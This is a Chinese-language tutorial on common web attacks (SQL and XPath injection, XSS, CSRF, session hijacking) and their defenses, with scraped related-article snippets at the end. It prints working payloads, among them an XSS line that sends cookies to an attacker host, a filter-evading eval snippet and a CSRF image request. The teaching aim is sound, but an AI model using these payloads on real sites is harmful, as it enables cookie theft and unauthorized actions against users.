XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式

SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。

比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:

book.com/book?id=100

说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:

select * from booktable where id=‘100‘

那么如果我们把url更改为

book.com/book?id=100‘or‘1‘=‘1

那么数据库操作执行就变成了:

select * from booktable where id=‘100‘or‘1‘=‘1‘

从而取出了整个booktable表单的全部数据。

XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体可看这里。

cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以看下这里。

对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。

XSS(cross-site scripting跨域脚本攻击)攻击也是最常见的WEB攻击之一,其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。

假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:

您搜索的书籍“有钱任性指南”不存在

好的,那我们输入这个怎样:

<script>alert(‘没有书开个毛线书店啊‘)</script>

假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。

但是这样不好玩,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:

<script>document.location=‘http://vajoy/get?cookie=‘+document.cookie</script>

不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!

小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:

book.com/search?name=<script>document.location=‘http://vajoy/get?cookie=‘+document.cookie</script>

这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。

与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我现在工作的项目做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,从而植入悬浮广告(当然你可以关闭它),这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是通过贴吧啊博客园啊等地方来发表带有恶意跨域脚本的帖子或文章,从而把恶意脚本存储在里面,每个访问该帖子/文章的人就会中招。

还记得一开始加载本文章的alert弹窗么?假设博客园对文章进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉,那我们怎么办?我们可以这样:

<script type="text/javascript">
var x=‘eva‘+String.fromCharCode(108),y=window,e=‘a‘+String.fromCharCode(108)+‘ert("欢迎收看本文章")‘;
y[x][‘call‘](this,e);
</script>

照样实现我们想要的弹窗无误。

对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!

会话劫持

百度百科有个很有意思的引喻——“在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?”

这个比喻很有意思,我们常规访问一个http网站时是与其服务器建立了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上,其中有人想伪装成你来劫持你的HTTP会话,那么服务器会把菜,哦不,是信息返回给那个人吗?

答案是肯定的,因为HTTP会话并不安全。它在经过TCP/IP协议封装传输数据时,在传输的数据的每一个字节中插入一个32位的序列号码,这个序列号用来保持跟踪数据和提供可靠性(序列号是依循数据顺序逐步递增的)。第三方攻击者可以通过嗅探的方式来获取用户与服务器通讯中的报文信息,如果他能猜测到数据中的序列号,那便能把合法的用户断开,伪装成合法用户让自己控制后续的通话。

对于会话劫持的预防,可以走SSH协议、增强网络安全系统健壮性,也可以使用无序的UUID来替代通讯中的序列号码(而非逐步递增)。

其它攻击

其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。

CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。

依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。

那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:

<img src=‘http://book.com/pay?bookid=2881064151‘/>

img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。

相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。

对于CSRF攻击,我们所能做的可以有:

1. 检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);

2. 对于任何重要的请求都需要重新验证用户的身份;

3. 创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。

钓鱼攻击指的是网站的伪造,比如ta0bao.com,然后在其中应用XSS等方式发起攻击。

拒绝服务(DoS)指的是向网站发起洪水一样的请求(Traffic Floor),导致服务器超负荷并关闭,处理方法常规是采用QoS(Quality of Service)的软硬件解决方案。

攻击层面

攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:

一. 传统WEB应用程序

1. 表单输入(甚至包括hidden控件的内容);

2. cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);

3. 报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)

4. 请求参数

5. 上传文件(在文件内携带恶意代码)

二. Web服务

1. 上述“传统WEB服务”的全部方法;

2. WSDL文档(暴露了服务端的每个方法及其使用方式)

三. AJAX应用程序

即上述的“一”和“二”的合集

解决方案

综上所述,我们可以这样审视我们的WEB站点:

1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;

2. 谨慎返回用户输入的信息;

3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);

4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;

5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);

6. 不要将重要文件、备份文件存放在公众可访问到的地方;

7. 会话ID无序化;

8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);

9. WSDL文档应当要求用户注册后才能获取;

时间: 2024-10-09 22:40:53

XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式的相关文章

目前日向博客对xss跨站脚本注入和sql注入的防范

昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无线循环弹出框的脚本,估计这个脚本之后他再想输入也没法了. 类似这种: <html> <body onload='while(true){alert(1)}'> </body> </html> 我立刻认识到这事件严重性,它说明我的博客有严重安全问题.因为xss跨站脚本攻击可能导致用户Co

[Web安全]SQL注入

Web网站最头痛的就是遭受攻击.Web很脆弱,所以基本的安防工作,我们必须要了解! 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 通过一下的例子更形象的了解SQL注入: 有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证.验证的SQL语句如下:       select * from student where userna

SQL注入 转自 爱Java

Web网站最头痛的就是遭受攻击.Web很脆弱,所以基本的安防工作,我们必须要了解,今天带领了解SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 通过一下的例子更形象的了解SQL注入: 有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证.验证的SQL语句如下:       select * from student w

另类的SQL注入方法

前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf 0x1 准备条件 a. mysql数据库 b. 创建用于实验的数据库和表 Create database newdb; use newdb CREATE TABLE users ( id int(3) NOT NULL AUTO_INCREMENT, u

web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入

web安全,从前端做起,总结下web前端安全的几种技术: 1,XSS XSS的全称是Cross Site Scripting,意思是跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记 XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有 跨站漏洞 的网页,然后构造跨站语句,通过结合其它技术,如社会工

web前端安全:XSS跨站脚本、CSRF跨站请求伪造、SQL注入等

介绍几种前端安全攻击方式,以及预防的方法: 1. XSS XSS(Cross Site Scripting)跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记. XSS攻击分成两类 1. 来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 2. 来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员

Web安全 之 SQL注入

随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.       SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对 SQL注入 发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不

网络安全之sql注入

1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.--百度百科之Sql

PyMySQL防止SQL注入

一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 三.SQL注入攻击实例  1.字符串拼接查询,造成注入 import pymysql conn = pymysql.connect(host='127.0.0.1', port=